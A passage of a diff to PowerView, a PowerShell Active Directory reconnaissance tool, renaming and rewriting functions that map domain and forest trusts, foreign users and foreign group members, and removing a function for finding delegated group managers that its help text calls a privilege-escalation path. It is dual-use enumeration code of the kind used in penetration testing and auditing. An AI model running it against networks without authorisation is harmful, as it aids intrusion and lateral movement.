- Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)"
}
+ # free up the result buffer
+ $Null = $Netapi32::NetApiBufferFree($PtrInfo)
}
else {
- Write-Verbose "Could not retrieve domain controller for $Domain"
+ Write-Verbose "[Get-DomainTrust] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
}
}
else {
- # if we're using direct domain connections through .NET
- $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential
- if($FoundDomain) {
+ # if we're searching for domain trusts through .NET methods
+ $FoundDomain = Get-Domain @NetSearcherArguments
+ if ($FoundDomain) {
$FoundDomain.GetAllTrustRelationships() | ForEach-Object {
- $_.PSObject.TypeNames.Add('PowerView.DomainTrust')
+ $_.PSObject.TypeNames.Insert(0, 'PowerView.DomainTrust.NET')
$_
}
}
@@ -12754,50 +17679,83 @@ function Get-NetDomainTrust {
}
-function Get-NetForestTrust {
+function Get-ForestTrust {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Return all forest trusts for the current forest or a specified forest.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-Forest
+
+.DESCRIPTION
+
+This function will enumerate domain trust relationships for the current (or a remote)
+forest using number of method using the .NET method GetAllTrustRelationships() on a
+System.DirectoryServices.ActiveDirectory.Forest returned by Get-Forest.
+
+.PARAMETER Forest
+
+Specifies the forest to query for trusts, defaults to the current forest.
+
+.PARAMETER Credential
+
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
+
+.EXAMPLE
- Return all trusts for the current forest.
+Get-ForestTrust
- .PARAMETER Forest
+Return current forest trusts.
- Return trusts for the specified forest.
+.EXAMPLE
- .PARAMETER Credential
+Get-ForestTrust -Forest "external.local"
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+Return trusts for the "external.local" forest.
- .EXAMPLE
+.EXAMPLE
- PS C:\> Get-NetForestTrust
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-ForestTrust -Forest "external.local" -Credential $Cred
- Return current forest trusts.
+Return trusts for the "external.local" forest using the specified alternate credenitals.
- .EXAMPLE
+.OUTPUTS
- PS C:\> Get-NetForestTrust -Forest "test"
+PowerView.DomainTrust.NET
- Return trusts for the "test" forest.
+A TrustRelationshipInformationCollection returned when using .NET methods (default).
#>
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('PowerView.ForestTrust.NET')]
[CmdletBinding()]
- param(
- [Parameter(Position=0,ValueFromPipeline=$True)]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('Name')]
+ [ValidateNotNullOrEmpty()]
[String]
$Forest,
[Management.Automation.PSCredential]
- $Credential
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
- process {
- $FoundForest = Get-NetForest -Forest $Forest -Credential $Credential
+ PROCESS {
+ $NetForestArguments = @{}
+ if ($PSBoundParameters['Forest']) { $NetForestArguments['Forest'] = $Forest }
+ if ($PSBoundParameters['Credential']) { $NetForestArguments['Credential'] = $Credential }
+
+ $FoundForest = Get-Forest @NetForestArguments
- if($FoundForest) {
+ if ($FoundForest) {
$FoundForest.GetAllTrustRelationships() | ForEach-Object {
- $_.PSObject.TypeNames.Add('PowerView.ForestTrust')
+ $_.PSObject.TypeNames.Insert(0, 'PowerView.ForestTrust.NET')
$_
}
}
@@ -12805,391 +17763,593 @@ function Get-NetForestTrust {
}
-function Find-ForeignUser {
+function Get-DomainForeignUser {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Enumerates users who are in groups outside of the user's domain.
+This is a domain's "outgoing" access.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-Domain, Get-DomainUser
+
+.DESCRIPTION
+
+Uses Get-DomainUser to enumerate all users for the current (or target) domain,
+then calculates the given user's domain name based on the user's distinguishedName.
+This domain name is compared to the queried domain, and the user object is
+output if they differ.
+
+.PARAMETER Domain
+
+Specifies the domain to use for the query, defaults to the current domain.
+
+.PARAMETER LDAPFilter
+
+Specifies an LDAP query string that is used to filter Active Directory objects.
+
+.PARAMETER Properties
+
+Specifies the properties of the output object to retrieve from the server.
+
+.PARAMETER SearchBase
+
+The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+Useful for OU queries.
+
+.PARAMETER Server
+
+Specifies an Active Directory server (domain controller) to bind to.
+
+.PARAMETER SearchScope
+
+Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
- Enumerates users who are in groups outside of their
- principal domain. The -Recurse option will try to map all
- transitive domain trust relationships and enumerate all
- users who are in groups outside of their principal domain.
+.PARAMETER ResultPageSize
- .PARAMETER UserName
+Specifies the PageSize to set for the LDAP searcher object.
- Username to filter results for, wildcards accepted.
+.PARAMETER ServerTimeLimit
- .PARAMETER Domain
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
- Domain to query for users, defaults to the current domain.
+.PARAMETER SecurityMasks
- .PARAMETER DomainController
+Specifies an option for examining security information of a directory object.
+One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
- Domain controller to reflect LDAP queries through.
+.PARAMETER Tombstone
- .PARAMETER LDAP
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
- Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections.
- More likely to get around network segmentation, but not as accurate.
+.PARAMETER Credential
- .PARAMETER Recurse
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
- Switch. Enumerate all user trust groups from all reachable domains recursively.
+.EXAMPLE
- .PARAMETER PageSize
+Get-DomainForeignUser
- The PageSize to set for the LDAP searcher object.
+Return all users in the current domain who are in groups not in the
+current domain.
- .LINK
+.EXAMPLE
- http://blog.harmj0y.net/
+Get-DomainForeignUser -Domain dev.testlab.local
+
+Return all users in the dev.testlab.local domain who are in groups not in the
+dev.testlab.local domain.
+
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-DomainForeignUser -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred
+
+Return all users in the dev.testlab.local domain who are in groups not in the
+dev.testlab.local domain, binding to the secondary.dev.testlab.local for queries, and
+using the specified alternate credentials.
+
+.OUTPUTS
+
+PowerView.ForeignUser
+
+Custom PSObject with translated user property fields.
#>
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('PowerView.ForeignUser')]
[CmdletBinding()]
- param(
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('Name')]
+ [ValidateNotNullOrEmpty()]
[String]
- $UserName,
+ $Domain,
+ [ValidateNotNullOrEmpty()]
+ [Alias('Filter')]
[String]
- $Domain,
+ $LDAPFilter,
+
+ [ValidateNotNullOrEmpty()]
+ [String[]]
+ $Properties,
+ [ValidateNotNullOrEmpty()]
+ [Alias('ADSPath')]
[String]
- $DomainController,
+ $SearchBase,
- [Switch]
- $LDAP,
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
+ [String]
+ $Server,
- [Switch]
- $Recurse,
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
+ [String]
+ $SearchScope = 'Subtree',
- [ValidateRange(1,10000)]
+ [ValidateRange(1, 10000)]
[Int]
- $PageSize = 200
- )
+ $ResultPageSize = 200,
- function Get-ForeignUser {
- # helper used to enumerate users who are in groups outside of their principal domain
- param(
- [String]
- $UserName,
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ServerTimeLimit,
- [String]
- $Domain,
+ [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
+ [String]
+ $SecurityMasks,
- [String]
- $DomainController,
+ [Switch]
+ $Tombstone,
- [ValidateRange(1,10000)]
- [Int]
- $PageSize = 200
- )
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
+ )
- if ($Domain) {
- # get the domain name into distinguished form
- $DistinguishedDomainName = "DC=" + $Domain -replace '\.',',DC='
+ BEGIN {
+ $SearcherArguments = @{}
+ $SearcherArguments['LDAPFilter'] = '(memberof=*)'
+ if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
+ if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
+ if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
+ if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
+ if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw }
+ }
+
+ PROCESS {
+ if ($PSBoundParameters['Domain']) {
+ $SearcherArguments['Domain'] = $Domain
+ $TargetDomain = $Domain
+ }
+ elseif ($PSBoundParameters['Credential']) {
+ $TargetDomain = Get-Domain -Credential $Credential | Select-Object -ExpandProperty name
+ }
+ elseif ($Env:USERDNSDOMAIN) {
+ $TargetDomain = $Env:USERDNSDOMAIN
}
else {
- $DistinguishedDomainName = [String] ([adsi]'').distinguishedname
- $Domain = $DistinguishedDomainName -replace 'DC=','' -replace ',','.'
+ throw "[Get-DomainForeignUser] No domain found to enumerate!"
}
- Get-NetUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize -Filter '(memberof=*)' | ForEach-Object {
+ Get-DomainUser @SearcherArguments | ForEach-Object {
ForEach ($Membership in $_.memberof) {
- $Index = $Membership.IndexOf("DC=")
- if($Index) {
-
- $GroupDomain = $($Membership.substring($Index)) -replace 'DC=','' -replace ',','.'
-
- if ($GroupDomain.CompareTo($Domain)) {
- # if the group domain doesn't match the user domain, output
- $GroupName = $Membership.split(",")[0].split("=")[1]
+ $Index = $Membership.IndexOf('DC=')
+ if ($Index) {
+
+ $GroupDomain = $($Membership.SubString($Index)) -replace 'DC=','' -replace ',','.'
+
+ if ($GroupDomain -ne $TargetDomain) {
+ # if the group domain doesn't match the user domain, display it
+ $GroupName = $Membership.Split(',')[0].split('=')[1]
$ForeignUser = New-Object PSObject
- $ForeignUser | Add-Member Noteproperty 'UserDomain' $Domain
+ $ForeignUser | Add-Member Noteproperty 'UserDomain' $TargetDomain
$ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname
+ $ForeignUser | Add-Member Noteproperty 'UserDistinguishedName' $_.distinguishedname
$ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain
$ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName
- $ForeignUser | Add-Member Noteproperty 'GroupDN' $Membership
+ $ForeignUser | Add-Member Noteproperty 'GroupDistinguishedName' $Membership
+ $ForeignUser.PSObject.TypeNames.Insert(0, 'PowerView.ForeignUser')
$ForeignUser
}
}
}
}
}
-
- if ($Recurse) {
- # get all rechable domains in the trust mesh and uniquify them
- if($LDAP -or $DomainController) {
- $DomainTrusts = Invoke-MapDomainTrust -LDAP -DomainController $DomainController -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique
- }
- else {
- $DomainTrusts = Invoke-MapDomainTrust -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique
- }
-
- ForEach($DomainTrust in $DomainTrusts) {
- # get the trust groups for each domain in the trust mesh
- Write-Verbose "Enumerating trust groups in domain $DomainTrust"
- Get-ForeignUser -Domain $DomainTrust -UserName $UserName -PageSize $PageSize
- }
- }
- else {
- Get-ForeignUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize
- }
}
-function Find-ForeignGroup {
+function Get-DomainForeignGroupMember {
<#
- .SYNOPSIS
+.SYNOPSIS
- Enumerates all the members of a given domain's groups
- and finds users that are not in the queried domain.
- The -Recurse flag will perform this enumeration for all
- eachable domain trusts.
+Enumerates groups with users outside of the group's domain and returns
+each foreign member. This is a domain's "incoming" access.
- .PARAMETER GroupName
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-Domain, Get-DomainGroup
- Groupname to filter results for, wildcards accepted.
+.DESCRIPTION
- .PARAMETER Domain
+Uses Get-DomainGroup to enumerate all groups for the current (or target) domain,
+then enumerates the members of each group, and compares the member's domain
+name to the parent group's domain name, outputting the member if the domains differ.
- Domain to query for groups, defaults to the current domain.
+.PARAMETER Domain
- .PARAMETER DomainController
+Specifies the domain to use for the query, defaults to the current domain.
- Domain controller to reflect LDAP queries through.
+.PARAMETER LDAPFilter
- .PARAMETER LDAP
+Specifies an LDAP query string that is used to filter Active Directory objects.
- Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections.
- More likely to get around network segmentation, but not as accurate.
+.PARAMETER Properties
- .PARAMETER Recurse
+Specifies the properties of the output object to retrieve from the server.
- Switch. Enumerate all group trust users from all reachable domains recursively.
+.PARAMETER SearchBase
- .PARAMETER PageSize
+The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+Useful for OU queries.
- The PageSize to set for the LDAP searcher object.
+.PARAMETER Server
- .LINK
+Specifies an Active Directory server (domain controller) to bind to.
- http://blog.harmj0y.net/
-#>
+.PARAMETER SearchScope
- [CmdletBinding()]
- param(
- [String]
- $GroupName = '*',
+Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
- [String]
- $Domain,
+.PARAMETER ResultPageSize
- [String]
- $DomainController,
+Specifies the PageSize to set for the LDAP searcher object.
- [Switch]
- $LDAP,
+.PARAMETER ServerTimeLimit
- [Switch]
- $Recurse,
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
- [ValidateRange(1,10000)]
- [Int]
- $PageSize = 200
- )
+.PARAMETER SecurityMasks
- function Get-ForeignGroup {
- param(
- [String]
- $GroupName = '*',
+Specifies an option for examining security information of a directory object.
+One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
- [String]
- $Domain,
+.PARAMETER Tombstone
- [String]
- $DomainController,
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
- [ValidateRange(1,10000)]
- [Int]
- $PageSize = 200
- )
+.PARAMETER Credential
- if(-not $Domain) {
- $Domain = (Get-NetDomain).Name
- }
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
- $DomainDN = "DC=$($Domain.Replace('.', ',DC='))"
- Write-Verbose "DomainDN: $DomainDN"
+.EXAMPLE
- # standard group names to ignore
- $ExcludeGroups = @("Users", "Domain Users", "Guests")
+Get-DomainForeignGroupMember
- # get all the groupnames for the given domain
- Get-NetGroup -GroupName $GroupName -Filter '(member=*)' -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Where-Object {
- # exclude common large groups
- -not ($ExcludeGroups -contains $_.samaccountname) } | ForEach-Object {
-
- $GroupName = $_.samAccountName
+Return all group members in the current domain where the group and member differ.
- $_.member | ForEach-Object {
- # filter for foreign SIDs in the cn field for users in another domain,
- # or if the DN doesn't end with the proper DN for the queried domain
- if (($_ -match 'CN=S-1-5-21.*-.*') -or ($DomainDN -ne ($_.substring($_.IndexOf("DC="))))) {
+.EXAMPLE
- $UserDomain = $_.subString($_.IndexOf("DC=")) -replace 'DC=','' -replace ',','.'
- $UserName = $_.split(",")[0].split("=")[1]
+Get-DomainForeignGroupMember -Domain dev.testlab.local
- $ForeignGroupUser = New-Object PSObject
- $ForeignGroupUser | Add-Member Noteproperty 'GroupDomain' $Domain
- $ForeignGroupUser | Add-Member Noteproperty 'GroupName' $GroupName
- $ForeignGroupUser | Add-Member Noteproperty 'UserDomain' $UserDomain
- $ForeignGroupUser | Add-Member Noteproperty 'UserName' $UserName
- $ForeignGroupUser | Add-Member Noteproperty 'UserDN' $_
- $ForeignGroupUser
- }
- }
- }
+Return all group members in the dev.testlab.local domain where the member is not in dev.testlab.local.
+
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-DomainForeignGroupMember -Domain dev.testlab.local -Server secondary.dev.testlab.local -Credential $Cred
+
+Return all group members in the dev.testlab.local domain where the member is
+not in dev.testlab.local. binding to the secondary.dev.testlab.local for
+queries, and using the specified alternate credentials.
+
+.OUTPUTS
+
+PowerView.ForeignGroupMember
+
+Custom PSObject with translated group member property fields.
+#>
+
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('PowerView.ForeignGroupMember')]
+ [CmdletBinding()]
+ Param(
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('Name')]
+ [ValidateNotNullOrEmpty()]
+ [String]
+ $Domain,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('Filter')]
+ [String]
+ $LDAPFilter,
+
+ [ValidateNotNullOrEmpty()]
+ [String[]]
+ $Properties,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('ADSPath')]
+ [String]
+ $SearchBase,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
+ [String]
+ $Server,
+
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
+ [String]
+ $SearchScope = 'Subtree',
+
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ResultPageSize = 200,
+
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ServerTimeLimit,
+
+ [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
+ [String]
+ $SecurityMasks,
+
+ [Switch]
+ $Tombstone,
+
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
+ )
+
+ BEGIN {
+ $SearcherArguments = @{}
+ $SearcherArguments['LDAPFilter'] = '(member=*)'
+ if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
+ if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
+ if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
+ if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
+ if ($PSBoundParameters['Raw']) { $SearcherArguments['Raw'] = $Raw }
}
- if ($Recurse) {
- # get all rechable domains in the trust mesh and uniquify them
- if($LDAP -or $DomainController) {
- $DomainTrusts = Invoke-MapDomainTrust -LDAP -DomainController $DomainController -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique
+ PROCESS {
+ if ($PSBoundParameters['Domain']) {
+ $SearcherArguments['Domain'] = $Domain
+ $TargetDomain = $Domain
+ }
+ elseif ($PSBoundParameters['Credential']) {
+ $TargetDomain = Get-Domain -Credential $Credential | Select-Object -ExpandProperty name
+ }
+ elseif ($Env:USERDNSDOMAIN) {
+ $TargetDomain = $Env:USERDNSDOMAIN
}
else {
- $DomainTrusts = Invoke-MapDomainTrust -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique
+ throw "[Get-DomainForeignGroupMember] No domain found to enumerate!"
}
- ForEach($DomainTrust in $DomainTrusts) {
- # get the trust groups for each domain in the trust mesh
- Write-Verbose "Enumerating trust groups in domain $DomainTrust"
- Get-ForeignGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -PageSize $PageSize
+ # standard group names to ignore
+ $ExcludeGroups = @('Users', 'Domain Users', 'Guests')
+ $DomainDN = "DC=$($TargetDomain.Replace('.', ',DC='))"
+
+ Get-DomainGroup @SearcherArguments | Where-Object {$ExcludeGroups -notcontains $_.samaccountname} | ForEach-Object {
+ $GroupName = $_.samAccountName
+ $GroupDistinguishedName = $_.distinguishedname
+
+ $_.member | ForEach-Object {
+ # filter for foreign SIDs in the cn field for users in another domain,
+ # or if the DN doesn't end with the proper DN for the queried domain
+ if (($_ -match 'CN=S-1-5-21.*-.*') -or ($DomainDN -ne ($_.SubString($_.IndexOf('DC='))))) {
+
+ $MemberDistinguishedName = $_
+ $MemberDomain = $_.SubString($_.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
+ $MemberName = $_.Split(',')[0].split('=')[1]
+
+ $ForeignGroupMember = New-Object PSObject
+ $ForeignGroupMember | Add-Member Noteproperty 'GroupDomain' $TargetDomain
+ $ForeignGroupMember | Add-Member Noteproperty 'GroupName' $GroupName
+ $ForeignGroupMember | Add-Member Noteproperty 'GroupDistinguishedName' $GroupDistinguishedName
+ $ForeignGroupMember | Add-Member Noteproperty 'MemberDomain' $MemberDomain
+ $ForeignGroupMember | Add-Member Noteproperty 'MemberName' $MemberName
+ $ForeignGroupMember | Add-Member Noteproperty 'MemberDistinguishedName' $MemberDistinguishedName
+ $ForeignGroupMember.PSObject.TypeNames.Insert(0, 'PowerView.ForeignGroupMember')
+ $ForeignGroupMember
+ }
+ }
}
}
- else {
- Get-ForeignGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -PageSize $PageSize
- }
}
-function Find-ManagedSecurityGroups {
+function Get-DomainTrustMapping {
<#
- .SYNOPSIS
+.SYNOPSIS
- This function retrieves all security groups in the domain and identifies ones that
- have a manager set. It also determines whether the manager has the ability to add
- or remove members from the group.
+This function enumerates all trusts for the current domain and then enumerates
+all trusts for each domain it finds.
- Author: Stuart Morgan (@ukstufus) <stuart.morgan@mwrinfosecurity.com>
- License: BSD 3-Clause
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-Domain, Get-DomainTrust, Get-ForestTrust
- .EXAMPLE
+.DESCRIPTION
- PS C:\> Find-ManagedSecurityGroups | Export-PowerViewCSV -NoTypeInformation group-managers.csv
+This function will enumerate domain trust relationships for the current domain using
+a number of methods, and then enumerates all trusts for each found domain, recursively
+mapping all reachable trust relationships. By default, the .NET method GetAllTrustRelationships()
+is used on the System.DirectoryServices.ActiveDirectory.Domain object. If the -LDAP flag
+is specified, or any of the LDAP-appropriate parameters, an LDAP search using the filter
+'(objectClass=trustedDomain)' is used instead. If the -API flag is specified, the
+Win32 API DsEnumerateDomainTrusts() call is used to enumerate instead.
- Store a list of all security groups with managers in group-managers.csv
+.PARAMETER API
- .DESCRIPTION
+Switch. Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts instead of the built-in
+.NET methods.
- Authority to manipulate the group membership of AD security groups and distribution groups
- can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically
- used to delegate management authority to distribution groups, but Windows supports security groups
- being managed in the same way.
+.PARAMETER LDAP
- This function searches for AD groups which have a group manager set, and determines whether that
- user can manipulate group membership. This could be a useful method of horizontal privilege
- escalation, especially if the manager can manipulate the membership of a privileged group.
+Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections.
- .LINK
+.PARAMETER LDAPFilter
- https://github.com/PowerShellEmpire/Empire/pull/119
+Specifies an LDAP query string that is used to filter Active Directory objects.
-#>
+.PARAMETER Properties
- # Go through the list of security groups on the domain and identify those who have a manager
- Get-NetGroup -FullData -Filter '(managedBy=*)' | Select-Object -Unique distinguishedName,managedBy,cn | ForEach-Object {
+Specifies the properties of the output object to retrieve from the server.
- # Retrieve the object that the managedBy DN refers to
- $group_manager = Get-ADObject -ADSPath $_.managedBy | Select-Object cn,distinguishedname,name,samaccounttype,samaccountname
+.PARAMETER SearchBase
- # Create a results object to store our findings
- $results_object = New-Object -TypeName PSObject -Property @{
- 'GroupCN' = $_.cn
- 'GroupDN' = $_.distinguishedname
- 'ManagerCN' = $group_manager.cn
- 'ManagerDN' = $group_manager.distinguishedName
- 'ManagerSAN' = $group_manager.samaccountname
- 'ManagerType' = ''
- 'CanManagerWrite' = $FALSE
- }
+The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+Useful for OU queries.
- # Determine whether the manager is a user or a group
- if ($group_manager.samaccounttype -eq 0x10000000) {
- $results_object.ManagerType = 'Group'
- } elseif ($group_manager.samaccounttype -eq 0x30000000) {
- $results_object.ManagerType = 'User'
- }
+.PARAMETER Server
- # Find the ACLs that relate to the ability to write to the group
- $xacl = Get-ObjectAcl -ADSPath $_.distinguishedname -Rights WriteMembers
+Specifies an Active Directory server (domain controller) to bind to.
- # Double-check that the manager
- if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AccessControlType -eq 'Allow' -and $xacl.IdentityReference.Value.Contains($group_manager.samaccountname)) {
- $results_object.CanManagerWrite = $TRUE
- }
- $results_object
- }
-}
+.PARAMETER SearchScope
+Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
-function Invoke-MapDomainTrust {
-<#
- .SYNOPSIS
+.PARAMETER ResultPageSize
+
+Specifies the PageSize to set for the LDAP searcher object.
+
+.PARAMETER ServerTimeLimit
+
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
+
+.PARAMETER Tombstone
+
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
+
+.PARAMETER Credential
- This function gets all trusts for the current domain,
- and tries to get all trusts for each domain it finds.
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
- .PARAMETER LDAP
+.EXAMPLE
- Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections.
- More likely to get around network segmentation, but not as accurate.
+Get-DomainTrustMapping | Export-CSV -NoTypeInformation trusts.csv
- .PARAMETER DomainController
+Map all reachable domain trusts using .NET methods and output everything to a .csv file.
- Domain controller to reflect LDAP queries through.
+.EXAMPLE
- .PARAMETER PageSize
+Get-DomainTrustMapping -API | Export-CSV -NoTypeInformation trusts.csv
- The PageSize to set for the LDAP searcher object.
+Map all reachable domain trusts using Win32 API calls and output everything to a .csv file.
- .PARAMETER Credential
+.EXAMPLE
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+Get-DomainTrustMapping -LDAP -Server 'PRIMARY.testlab.local' | Export-CSV -NoTypeInformation trusts.csv
- .EXAMPLE
+Map all reachable domain trusts using LDAP, binding to the PRIMARY.testlab.local server for queries,
+and output everything to a .csv file.
- PS C:\> Invoke-MapDomainTrust | Export-CSV -NoTypeInformation trusts.csv
-
- Map all reachable domain trusts and output everything to a .csv file.
+.EXAMPLE
- .LINK
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-DomainTrustMapping -LDAP -Server 'PRIMARY.testlab.local' | Export-CSV -NoTypeInformation trusts.csv
- http://blog.harmj0y.net/
+Map all reachable domain trusts using LDAP, binding to the PRIMARY.testlab.local server for queries
+using the specified alternate credentials, and output everything to a .csv file.
+
+.OUTPUTS
+
+PowerView.DomainTrust.NET
+
+A TrustRelationshipInformationCollection returned when using .NET methods (default).
+
+PowerView.DomainTrust.LDAP
+
+Custom PSObject with translated domain LDAP trust result fields.
+
+PowerView.DomainTrust.API
+
+Custom PSObject with translated domain API trust result fields.
#>
- [CmdletBinding()]
- param(
+
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('PowerView.DomainTrust.NET')]
+ [OutputType('PowerView.DomainTrust.LDAP')]
+ [OutputType('PowerView.DomainTrust.API')]
+ [CmdletBinding(DefaultParameterSetName = 'NET')]
+ Param(
+ [Parameter(ParameterSetName = 'API')]
+ [Switch]
+ $API,
+
+ [Parameter(ParameterSetName = 'LDAP')]
[Switch]
$LDAP,
+ [Parameter(ParameterSetName = 'LDAP')]
+ [ValidateNotNullOrEmpty()]
+ [Alias('Filter')]
+ [String]
+ $LDAPFilter,
+
+ [Parameter(ParameterSetName = 'LDAP')]
+ [ValidateNotNullOrEmpty()]
+ [String[]]
+ $Properties,
+
+ [Parameter(ParameterSetName = 'LDAP')]
+ [ValidateNotNullOrEmpty()]
+ [Alias('ADSPath')]
+ [String]
+ $SearchBase,
+
+ [Parameter(ParameterSetName = 'LDAP')]
+ [Parameter(ParameterSetName = 'API')]
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
[String]
- $DomainController,
+ $Server,
- [ValidateRange(1,10000)]
+ [Parameter(ParameterSetName = 'LDAP')]
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
+ [String]
+ $SearchScope = 'Subtree',
+
+ [Parameter(ParameterSetName = 'LDAP')]
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ResultPageSize = 200,
+
+ [Parameter(ParameterSetName = 'LDAP')]
+ [ValidateRange(1, 10000)]
[Int]
- $PageSize = 200,
+ $ServerTimeLimit,
+
+ [Parameter(ParameterSetName = 'LDAP')]
+ [Switch]
+ $Tombstone,
